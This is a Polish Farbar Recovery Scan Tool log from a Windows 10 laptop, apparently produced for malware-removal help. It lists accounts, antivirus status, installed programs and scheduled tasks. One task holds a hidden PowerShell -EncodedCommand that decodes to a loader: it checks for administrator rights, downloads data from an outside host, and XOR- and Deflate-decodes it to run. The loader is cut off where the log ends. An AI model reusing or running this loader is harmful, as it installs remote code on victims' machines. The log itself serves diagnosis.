Rezultaty skanu uzupełniającego Farbar Recovery Scan Tool (x64) Wersja:09-01-2015 Uruchomiony przez Robert (2016-01-09 16:14:51) Uruchomiony z C:\Users\Robert\Downloads Windows 10 Home (X64) (2015-11-19 16:33:37) Tryb startu: Normal ========================================================== ==================== Konta użytkowników: ============================= Administrator (S-1-5-21-884423482-3915767466-712464105-500 - Administrator - Disabled) Gość (S-1-5-21-884423482-3915767466-712464105-501 - Limited - Disabled) HomeGroupUser$ (S-1-5-21-884423482-3915767466-712464105-1003 - Limited - Enabled) Konto domyślne (S-1-5-21-884423482-3915767466-712464105-503 - Limited - Disabled) Robert (S-1-5-21-884423482-3915767466-712464105-1001 - Administrator - Enabled) => C:\Users\Robert ==================== Centrum zabezpieczeń ======================== (Załączenie wejścia w fixlist spowoduje jego usunięcie.) AV: Windows Defender (Enabled - Out of date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} AV: McAfee — ochrona antywirusowa i przed oprogramowaniem szpiegującym (Enabled - Out of date) {DA9F8ED0-D0DE-39CC-F55A-51AB4CC1B556} AS: Windows Defender (Enabled - Out of date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} AS: McAfee — ochrona antywirusowa i przed oprogramowaniem szpiegującym (Enabled - Out of date) {61FE6F34-F6E4-3642-CFEA-6AD93746FFEB} FW: McAfee Firewall (Enabled) {E2A40FF5-9AB1-3894-DE05-F89EB212F22D} ==================== Zainstalowane programy ====================== (W fixlist dozwolone tylko załączanie programów adware z flagą "Hidden" w celu ich uwidocznienia. Programy adware powinny zostać w poprawny sposób odinstalowane.) µTorrent (HKU\S-1-5-21-884423482-3915767466-712464105-1001\...\uTorrent) (Version: 3.4.5.41372 - BitTorrent Inc.) Acrylic Wi-Fi Home v3.0 (HKU\S-1-5-21-884423482-3915767466-712464105-1001\...\{3706FB7A-11FB-44C4-AD94-2B29878D75DC}_is1) (Version: 3.0 - Tarlogic Security S.L.) Adobe AIR (HKLM-x32\...\Adobe AIR) (Version: 19.0.0.241 - Adobe Systems Incorporated) Adobe Flash Player 20 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 20.0.0.267 - Adobe Systems Incorporated) Adobe Photoshop CS6 (HKLM-x32\...\{74EB3499-8B95-4B5C-96EB-7B342F3FD0C6}) (Version: 13.0 - Adobe Systems Incorporated) ALLPlayer Pilot (HKLM-x32\...\{146BDBDD-ACD9-4B04-A286-C27471841E8E}_is1) (Version: 1.2 - ALLPlayer Group, Ltd.) ALLPlayer V6.X (HKLM-x32\...\ALLPlayer_is1) (Version: - ALLPlayer Group, Ltd.) AMD Catalyst Install Manager (HKLM\...\{59523785-63F4-FD2B-5993-964641531A45}) (Version: 8.0.916.0 - Advanced Micro Devices, Inc.) CCleaner (HKLM\...\CCleaner) (Version: 5.12 - Piriform) CCSDK (HKLM-x32\...\{AE75190B-11B4-4F90-8254-DAB275CF2557}_is1) (Version: 1.1.0.7 - Lenovo) ChomikBox (HKLM-x32\...\{C7B52FAF-58D8-438C-B810-F78C3C927504}) (Version: 2.0.8.0 - Chomikuj.pl) Colin McRae Rally 2 (HKLM-x32\...\{19B72AA9-985A-11D4-9C8A-00D0B75D1498}) (Version: - ) Deep Fritz 14 64-bit (HKLM\...\{678EE564-7768-4E8C-9EEA-35954C4FF423}) (Version: 14.0.0.0 - ChessBase) Dependency Package Update (x32 Version: 1.6.32.00 - Lenovo Group Limited) Hidden Dolby Digital Plus Home Theater (HKLM\...\{7E3D8FA1-6092-469A-955B-68FC4A2C67CA}) (Version: 7.6.3.1 - Dolby Laboratories Inc) Google Chrome (HKLM-x32\...\Google Chrome) (Version: 47.0.2526.106 - Google Inc.) Google Update Helper (x32 Version: 1.3.29.1 - Google Inc.) Hidden HaoZip (HKLM\...\HaoZip_is1) (Version: 5.5.1.10498 - Ruichuang Network Technology Co.,Ltd) Instrukcje użytkownika (x32 Version: 3.0.0.3 - Lenovo) Hidden Intel(R) Control Center (HKLM-x32\...\{F8A9085D-4C7A-41a9-8A77-C8998A96C421}) (Version: 1.2.1.1008 - Intel Corporation) Intel(R) Management Engine Components (HKLM\...\{1CEAC85D-2590-4760-800F-8DE5E91F3700}) (Version: 10.0.30.1072 - Intel Corporation) Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 10.18.14.4099 - Intel Corporation) Intel(R) Rapid Storage Technology (HKLM\...\{409CB30E-E457-4008-9B1A-ED1B9EA21140}) (Version: 13.6.3.1001 - Intel Corporation) Intel(R) Wireless Bluetooth(R)(patch version 17.1.1449.356) (HKLM\...\{302600C1-6BDF-4FD1-1411-148929CC1385}) (Version: 17.1.1411.0506 - Intel Corporation) IVONA 2 (HKLM-x32\...\IVONA 2) (Version: 1.6.7 - IVO Software Sp. z o.o.) IVONA MiniReader (HKLM-x32\...\IVONA MiniReader) (Version: - IVO Software Sp. z o.o.) IVONA Reader (HKLM-x32\...\IVONA Reader) (Version: - IVO Software Sp. z o.o.) KMPlayer (remove only) (HKLM-x32\...\The KMPlayer) (Version: 4.0.1.5 - PandoraTV) Lenovo EasyCamera (HKLM-x32\...\{E399A5B3-ED53-4DEA-AF04-8011E1EB1EAC}) (Version: 6.3.9600.11105 - Realtek Semiconductor Corp.) Lenovo Patch Utility (x32 Version: 1.3.2.6 - Lenovo Group Limited) Hidden Lenovo Patch Utility 64 bit (Version: 1.3.2.6 - Lenovo Group Limited) Hidden McAfee Internet Security (HKLM-x32\...\MSC) (Version: 14.0.6120 - McAfee, Inc.) McAfee WebAdvisor (HKLM-x32\...\{35ED3F83-4BDC-4c44-8EC6-6A8301C7413A}) (Version: 4.0.207 - McAfee, Inc.) Microsoft Office Language Pack 2013 - Polish/Polski (HKLM\...\Office15.OMUI.pl-pl) (Version: 15.0.4569.1506 - Microsoft Corporation) Microsoft Office Professional Plus 2013 (HKLM\...\Office15.PROPLUS) (Version: 15.0.4420.1017 - Microsoft Corporation) Microsoft Silverlight (HKLM-x32\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.30514.0 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{7299052b-02a4-4627-81f2-1818da5d550d}) (Version: 8.0.56336 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{6ce5bae9-d3ca-4b99-891a-1dc6c118a5fc}) (Version: 8.0.59192 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}) (Version: 8.0.61000 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.17 (HKLM\...\{8220EEFE-38CD-377E-8595-13398D740ACE}) (Version: 9.0.30729 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 (HKLM\...\{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}) (Version: 9.0.30729.4148 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation) Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation) Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation) Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation) Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.50727 (HKLM-x32\...\{15134cb0-b767-4960-a911-f2d16ae54797}) (Version: 11.0.50727.1 - Microsoft Corporation) Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 (HKLM-x32\...\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}) (Version: 11.0.61030.0 - Microsoft Corporation) Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.21005 (HKLM-x32\...\{4fcf070a-daac-45e9-a8b0-6850941f7ed8}) (Version: 12.0.21005.1 - Microsoft Corporation) MKVToolNix 8.5.2 (64bit) (HKLM-x32\...\MKVToolNix) (Version: 8.5.2 - Moritz Bunkus) Mozilla Firefox 43.0.4 (x86 pl) (HKLM-x32\...\Mozilla Firefox 43.0.4 (x86 pl)) (Version: 43.0.4 - Mozilla) Mozilla Maintenance Service (HKLM-x32\...\MozillaMaintenanceService) (Version: 43.0.4.5848 - Mozilla) Narzędzia sprawdzające pakietu Microsoft Office 2013 — polski (Version: 15.0.4569.1506 - Microsoft Corporation) Hidden OEM Application Profile (HKLM-x32\...\{1D464EFF-EC8B-F225-2F74-F74143200DDF}) (Version: 1.00.0000 - Advanced Micro Devices, Inc.) Oprogramowanie Intel® PROSet/Wireless (HKLM-x32\...\{6535d76a-59fb-4935-b2c5-cd61917c4a4b}) (Version: 17.16.0 - Intel Corporation) Oprogramowanie mikroukładu Intel® (x32 Version: 10.0.22 - Intel(R) Corporation) Hidden OSDownloader (HKLM-x32\...\{C02C8C82-197C-46C1-AD18-EB0F5BF49F8A}_is1) (Version: 1.0 - OpenSubtitles.org) Outils de vérification linguistique 2013 de Microsoft Office - Français (Version: 15.0.4569.1506 - Microsoft Corporation) Hidden PDF Settings CS6 (x32 Version: 11.0 - Adobe Systems Incorporated) Hidden PX Profile Update (x32 Version: 1.00.1. - AMD) Hidden Realtek Card Reader (HKLM-x32\...\{5BC2B5AB-80DE-4E83-B8CF-426902051D0A}) (Version: 6.3.9600.31213 - Realtek Semiconductor Corp.) Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 8.36.826.2014 - Realtek) Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.7469 - Realtek Semiconductor Corp.) Service Pack 1 for Microsoft Office 2013 Language Pack (KB2817427) 64-Bit Edition (Version: - Microsoft) Hidden Sp5 (x32 Version: 5.1.4324.0 - Microsoft) Hidden Sp5Intl (x32 Version: 5.1.4324.0 - Microsoft) Hidden Sp5TTInt (x32 Version: 5.1.4324.0 - Microsoft) Hidden SpCommon (x32 Version: 5.1.4324.0 - Microsoft) Hidden SpPhones (x32 Version: 6.0.3122.0 - Microsoft) Hidden SubEdit-Player (HKLM-x32\...\SubEdit-Player_is1) (Version: 4060 - Artur Sikora) Subtitle Workshop 6.0b (HKLM-x32\...\SubtitleWorkshop) (Version: - ) Synaptics Pointing Device Driver (HKLM\...\SynTPDeinstKey) (Version: 19.0.17.7 - Synaptics Incorporated) UESDK (HKLM-x32\...\{EB3F6640-58AE-4886-B8BA-466B6939A933}_is1) (Version: 1.0.3.6 - Lenovo) User Manuals (HKLM-x32\...\InstallShield_{F07C2CF8-4C53-4EC3-8162-A6221E36EB88}) (Version: 3.0.0.3 - Lenovo) WinRAR 5.21 (64-bitowy) (HKLM\...\WinRAR archiver) (Version: 5.21.0 - win.rar GmbH) ==================== Niestandardowe rejestracje CLSID (filtrowane): ========================== (Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.) CustomCLSID: HKU\S-1-5-21-884423482-3915767466-712464105-1001_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\localserver32 -> C:\Users\Robert\AppData\Local\Microsoft\OneDrive\17.3.6281.1202\FileCoAuth.exe (Microsoft Corporation) ==================== Zaplanowane zadania (filtrowane) ============= (Załączenie wejścia w fixlist spowoduje jego usunięcie z rejestru. Powiązany plik nie zostanie przeniesiony, o ile nie zostanie załączony z osobna.) Task: {0CFE2E40-6A97-48C5-9F38-DE82315CF1B0} - System32\Tasks\Microsoft\Windows\UPnP\UPnPHostConfig => config upnphost start= auto Task: {25E881A4-1A2B-4BD4-A974-80598F98EA6D} - System32\Tasks\{0F7F0447-0A0F-0B79-7A11-7E0E087D110E} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFYAZQByAGIAbwBzAGUAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsACgBmAHUAbgBjAHQAaQBvAG4AIABzAHIAKAAkAHAAKQB7ACQAbgA9ACIAVwBpAG4AZABvAHcAUABvAHMAaQB0AGkAbwBuACIAOwB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0AYwBhAHQAYwBoAHsAfQB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAyADAAMQAzADIAOQA2ADYANAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0ACgBjAGEAdABjAGgAewB0AHIAeQB7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFYAYQBsAHUAZQAgADIAMAAxADMAMgA5ADYANgA0AHwATwB1AHQALQBOAHUAbABsADsAfQBjAGEAdABjAGgAewB9AH0AfQBzAHIAKAAiAEgASwBDAFUAOgBcAEMAbwBuAHMAbwBsAGUAXAAlAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBfAFMAeQBzAHQAZQBtADMAMgBfAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABfAHYAMQAuADAAXwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAJQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXwBTAHkAcwB0AGUAbQAzADIAXwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAdABhAHMAawBlAG4AZwAuAGUAeABlACIAKQA7AAoAJABzAHUAcgBsAD0AIgBoAHQAdABwADoALwAvAHMAZQBjAHUAcgBlAGIALgBpAG4AZgBvAC8AdQAvAD8AYQA9AFEAVQBhAEEAcAB0AGIAZwBQAFIARABuAHMAOABKAGEAbQBiAFYAbwBiAGgAcwBNAHcATgBGAEUAWgA4AGMAWABLAHEAMwBYAHgAQgA5AFcASABnAFMAYQBlAHIATgBnADcAdwBXAFAAZwByAG4AcAB4AHEAZQBnAEMAOQB6AGgAbwBSAFMARwB1AFMAZgB0ADMAaQBtAHUAcQBNAFcAeABzAE8AWQBIAEIAaQB5AG0ARgA1AG0AWABxAGYAaQA5AHQATAB0AGYAMwA4AGUARgBqAEMAcAA4AFEAQgB5AGoANwBuAF8AdgBKAG4AcgByAE8ASwBfAFQAbwBDAEoARwBLAGUAQwBEADkAdwB6AFEAWQBzAGsASgB2AHgAcQAwAHQAbABDAEYAbgA3AE8AeABuAHEANQBlAEUASABGAHQAVABSAEIAWABZAE4AaABLAGcAUQA3AHcAXwBUAEkAcwBaAHYANgB2AGwAVgAwADAAXwB3AG0AZABsAHgAUgBZADQAbABzAE8AYgBWAEMAagA3AFUAQgBKAEIAVAB4AGUATAB0ADUAUAB3ADgANAAwAEQAWQA4AGsAdABpADcAVABCAE8ARgBnAGQAMgBxAEEAOABkAFQAZgB2AHIASQBfAGgAagBaAEkAOAB6AHkAVQB2AGIAWQBxAHEAcwBOAG4ATwBVAFcAMgAtAEcAUwBYAHcAeQBMAHYANgBQAF8ARwBlADkANwBYAGgAMABnAGQAegBZAGoASwBiAHcAagBMAHUAZQBVADEAXwBQADIAMgBHAEoAQwBOAEwAaABTAHYAbgBxAHgASAA5AEcAaQBRAHYAaQA1AEQAUABOAHkAcgB5AGYAZwBFAHAAVQAtAGUAWQBoAFAAbABBADcAYgBxAGIAUwBFAFQAWABTAEIAMwBnAEUAVgBvAGsAcABtADgAWQBGAE0AYQBYAC0AeABVAHEATgBFAFoAMgA5AFAARwBJAGwAeQBlAFoAZQBMAEUAagBQAGUAaQBkAGcASQBkADYAMwBFAFUAVwBxADQARwBiAGMAWABCAEwAdQAzAE8AVABkAHIAeAByAE4AWABYAG4AWQBJAGsAZgB0AFAATABSADAARgBXAFYAawBMAHgAbgBjAFMATgBYADMASgBDAF8ASwB0AGMAZABfAG4AUABVADgATgBVAFAAbABUADYANABDAF8AdwBOAFUAZQBTADcAcwBNAFoANQBiAGgASgBKAG8ASAAzAGUASgA3AGkAcwBKAG0AagBxADQAWgBFAHMASwBPAE0AYwAxAEMASQB0AC0AOABuAGsAbQBBAEsAbgBWAGYAVQBCAHEAQwByAHUARABYAGQAUgBhAGEAaQAzADcAMAB0AGwASQA5AFAAWQBfADcAWQBxAFYAcwA4AFoASgBXAEMAegBwAEkAeQAxAGoAdQBkAGUAQQB6AGUARgBzAGMAMwBfAFIAcAA5ADAAVABaAHAASgB2ADEATwBNAFUAUwBJAGUAVwBsAFEATgByAFoAZwA3AGcAQgBMAE0AMwBBAEIAdwAyAGcARgBwAGYAcgBpAEEAbABoAE8AQQBlAHUAXwBmADcAWQBLAHoAcQBiAEgAMgBtAFIASgBFAEEAZgBIAEgAVQA5AHQAWQBTADkAYQA4ADQAWABoAHAAVwBoAGQAdwB3AFEAeABoAFIAbgBKAHYAOABjAEYATAB1AGsAMQA4AEsAUABtAG8AQgBHAE0ARwBIAFIAawAyAG4AUwBIAHcAcQBSAC0AagB4AHAAQwBKAGgAUABnADgAaABNAC0AOQBHAFMARwA5AG4ANgB4AHMALQBkAEYARgAxAEkAVABfAEEAYwBTAGoAbQBlAEkAYQBZADcAVAA3AF8AdwBYAHkAagBpAC0AMwBtAHMAawBZAEsAYwBwAEMAcwB4AHoAZABuAFMAMgBkAGUAYgAyAFEAMgBMAFkAcgBpAHQAQgB6AEcAMgBGAEoAZQBhAFIATwB5AEkALQBrAFoATgA0AC0ASwBVAHkANwBSAFQALQB4AFAARgA0AHEAYgA0AHYASABYAE8AWQBNAFQASABJAHkAWABpAGEATwBGADkATgBZAEUAaQB5AGwAUQBOAFAALQBZAE8AagBZAGUAdABYADgAegBOAGQAaQB0AGoAdgBnAHkATQBWAE4AcABRAGwAbgBoAFAAXwBiAFAAdQB3AGIAeAA1AG8AZwB2AEwARgBPAEwAdwA5AEwAdgBQAHQAZwA0ADIANABVAHAAdAAtAHYAeABPAEYAWgBKAEIAcQBaAEgAegBGADUAeQB3AFkATgBGAFQAaABEAGkAbQBOADIAMgBLAE8AUQBpAFAAUwBKAG0AZQB4AEIAeABJAEwAdwBqADUAUAA2AGcAegBDAEYAQgAxADUAOABxAGEATABoAFYANAB5AG0AMQBmAGsARgBBAEsAVwBfAGwAWQAmAGMAPQBpAF8AdgBqAGcASwBBAEsAOQBFAHQAbwByAG4AeQBiAEIAawBsAFMAMAA4ADYAVgA4AE8ASwBWAHQAcwBXAFYAMgBKAEcAVgAzADcAOQBHAFMAMwBfADkAeAAzAGYAeABpAEMAYgAwAGYAdgBvAHYATQBEAFAASABzADQAegBxAGIAdwBKAFYAYwA5AGcAZgB3AGkAegBvAGMANgBhADQAegBOADEAcABMADEANwBtAG8ARQBqADYAQgBEADQATQBQAGQAcwBHAHQAQQBMAGgARgBWAHEAVQBIAFoAMQBpAFkAQgA2AFgANgBKAGgAawA3AEEAUgBrAGQATAB5AHkAZABMAEUATgBPAFIAYgB2AGwANgBvADAAUAB5ADIAVQB4AGEANABQAE4ANgBEAGIAVgBEAGQAawBvAGUAcwBnAGQAZgBPAFEAdABOAGQAawBrAEsAeABFAHYAUABTADUARwB5AFcAeQBtAHUAQQBuAFIASwBzAHEAWgBGAHMAYQBFADUAMwAxAGIARABMADUAdgBoAE8AbwAzAE8AWgBBAFMAeAAwADIALQBsAEMAQgBhAE0AOABPAGMAQQA1AE4AOABZAGQAWQBUAGoAZwB5AG4ANAB5AEUAeAB1AGgAWQA0AHYAXwBXAEcAeQAyAE0AdwBiAFIATABZAEsAaQBDAEoAegBzAFIAZwBKAGIAMgB0AEkAaABFAFcAZQBCAF8AYQBQADIAawBoAGMAdABuAE0AbQA1AEkAdgBvAFUAYgBqAEgASwBqADUAZwBxAFYAWQBvAFMARwBMAEIAdQBJAEgAVwBTAHgAUgBVAFAAZwA2ADAAbgB2AF8ANgBZADEAbwBJAGQAUwBsAHYAYwB0AE0AOAAzAHUAeABRADEAMwA0AHkAcAA5AFAAdgBOAGQAVgBFAFkAdwBiADkAagBIAGcAYwBnADkAQQBiADQARgBKAHIANQB5ADAAbwBXADIATQBBAHAAbwBBAFkAbwB0AFIAbgB4AGIAZgBpAGcAegB1AC0AcAB2AHAAaQBsAFcALQBRADkAOQB3AGwAVwAyAFcAdABRAFUAdABfAEIAbwBKADcARQBDAE8AUgA5AGYAbAA0AEoARAA0AE0ATQB5ADMAUgBnAFYAZgBYAEMAVwBUAE8AMgAzAEoARwBoADgARQByAE4AYwAtAFcAdgBCAEQAZQBOAGgANQBQADAATQBnAGcAZgAxAFIAdQBYAG0ASABLAHgANgAtAFgAZwBJAHYAVQB2AGkAcABKAEoAdgA3AG8AUgA4ADgAagBCAGUAeQB1AEsAUwA2AFAAZgBIAEkANABuAFgAMABTAFQARABWAEUAQgBZAEkAaQBBAHAANABtAHEAMABMAFUAdABsAHcANwBCAHUAcgBxAHoAXwBMAGUAWgBfAEoANAB0AEwALQBiAFEATQBTAGoAOAA2AEYAXwBRAGoAVwB4ADkAeQBVADYAXwByAEsAYgBDADkAbQAxAEkASwBEAEEAaQBFAEgAegBjAE8ALQBCAFIAQwBUAFMAUQBTAG4AaABHAHcAbgBwAEIASQA5ADkATwBYAGwAawB5AHEAVgA5AFAAZgBqAEUAUQBCAEUAcwBIAEEAYgA1ADkAMABRAFcALQBVAGcAWABRADYAcABhAFMANQBEAFUAaABuAGwAVQB1AGUAcgBMAGoANgBVADQAZgB0AHAAawBxAGoARABJAFgAdgBxAHoASwBXAEoAUgA0AGEAVwBDAEsATABrAGwAawA0AGkAUwA0ADkAUABkAC0AbwBhAGgATABCAGYAYwAyAEQARwBWAEUAaQBjAFEARQBMAF8AZQBUAFcAUABlADEAZgB5AGkASAAxAFQAVwA2AEQANAB1AHUATgBIAE0ATABmAFkANQB2AFgAcwBUAHoAVwBnAFcASABuAEMANAA0AGEAMgBMAEgALQBPAHIAaQBpAFUAQQBfAG0AcAByADEASwBsAHYAMQBmADcARwBxADUASABlAFMAVgBNAHUAZAB5AGgAYwBkAF8AQwBJAHUAZgBWAFcAbABmAEIAVgBaAGQATwA4AGUANgB3AEwASAB6AEEARAB2ADIARgA5ADcAZgBoAHgAMwBlAGIAcQBWAG4AQwA1ADkARAAzAEUAcgBMAFIANABIAGsAZwAzADEAMQBZAHMAYQB4AHEAOABYAEQASwA3AFMARgBkAFAAdwB2AHYAWABfAEgAagB4AE4ATgBWAG8AaABLAG8AYQBKAFcAagA2AGQAagBzAHIAUQBIAHYAdwBaAEUAawBkADMANwBiADIALQBtADUAcABMADIAcABBAFEARAB5AHEAeAAzAEMAWgAzAHcARwBhAEcAbABWAGQAVgBQAEQARwBUAGoAUwBPAC0AQwA3AFYAQQBTAFAAVgBXADUAQwBXAHcAcwBzAEsALQBWAHoAagBCACYAcgA9ADQANAA3ADUAOQAyADEAOAA0ADIAMgAwADQANgA2ADcAMwAyADQAIgA7ACQAcwB0AHMAawA9ACIAewAwAEYANwBGADAANAA0ADcALQAwAEEAMABGAC0AMABCADcAOQAtADcAQQAxADEALQA3AEUAMABFADAAOAA3AEQAMQAxADAARQB9ACIAOwAkAHAAcgBpAGQAPQAiAFMAeQBzAHQAZQBtAEgAZQBhAGwAZQByACIAOwAkAGkAbgBpAGQAPQAiAFUAUwAyADMAUAAxAFQAWgAiADsAdAByAHkAewBpAGYAKAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuAC4ATQBhAGoAbwByACAALQBsAHQAIAAyACkAewBiAHIAZQBhAGsAOwB9ACQAdgA9AFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoATwBTAFYAZQByAHMAaQBvAG4ALgBWAGUAcgBzAGkAbwBuADsACgBpAGYAKAAkAHYALgBNAGEAagBvAHIAIAAtAGUAcQAgADUAKQB7AGkAZgAoACgAJAB2AC4ATQBpAG4AbwByACAALQBsAHQAIAAyACkAIAAtAEEATgBEACAAKAAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AUwBlAHIAdgBpAGMAZQBQAGEAYwBrAE0AYQBqAG8AcgBWAGUAcgBzAGkAbwBuACAALQBsAHQAIAAyACkAKQB7AGIAcgBlAGEAawA7AH0AfQAKAGkAZgAoAC0ATgBPAFQAIAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAgACIAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgAiACkAKQB7AGIAcgBlAGEAawA7AH0ACgBmAHUAbgBjAHQAaQBvAG4AIAB3AGMAKAAkAHUAcgBsACkAewAkAHIAcQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAcQAuAFUAcwBlAEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzAD0AJAB0AHIAdQBlADsAJAByAHEALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAHUAcwBlAHIALQBhAGcAZQBuAHQAIgAsACIATQBvAHoAaQBsAGwAYQAvADQALgAwACAAKABjAG8AbQBwAGEAdABpAGIAbABlADsAIABNAFMASQBFACAANwAuADAAOwAgAFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACkAIgApADsAcgBlAHQAdQByAG4AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAcgBxAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHUAcgBsACkAKQA7AH0ACgBmAHUAbgBjAHQAaQBvAG4AIABkAHMAdAByACgAJAByAGEAdwBkAGEAdABhACkAewAkAGIAdAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAByAGEAdwBkAGEAdABhACkAOwAkAGUAeAB0AD0AJABiAHQAWwAwAF0AOwAkAGsAZQB5AD0AJABiAHQAWwAxAF0AIAAtAGIAeABvAHIAIAAxADcAMAA7AGYAbwByACgAJABpAD0AMgA7ACQAaQAgAC0AbAB0ACAAJABiAHQALgBMAGUAbgBnAHQAaAA7ACQAaQArACsAKQB7ACQAYgB0AFsAJABpAF0APQAoACQAYgB0AFsAJABpAF0AIAAtAGIAeABvAHIAIAAoACgAJABrAGUAeQAgACsAIAAkAGkAKQAgAC0AYgBhAG4AZAAgADIANQA1ACkAKQA7AH0ACgByAGUAdAB1AHIAbgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0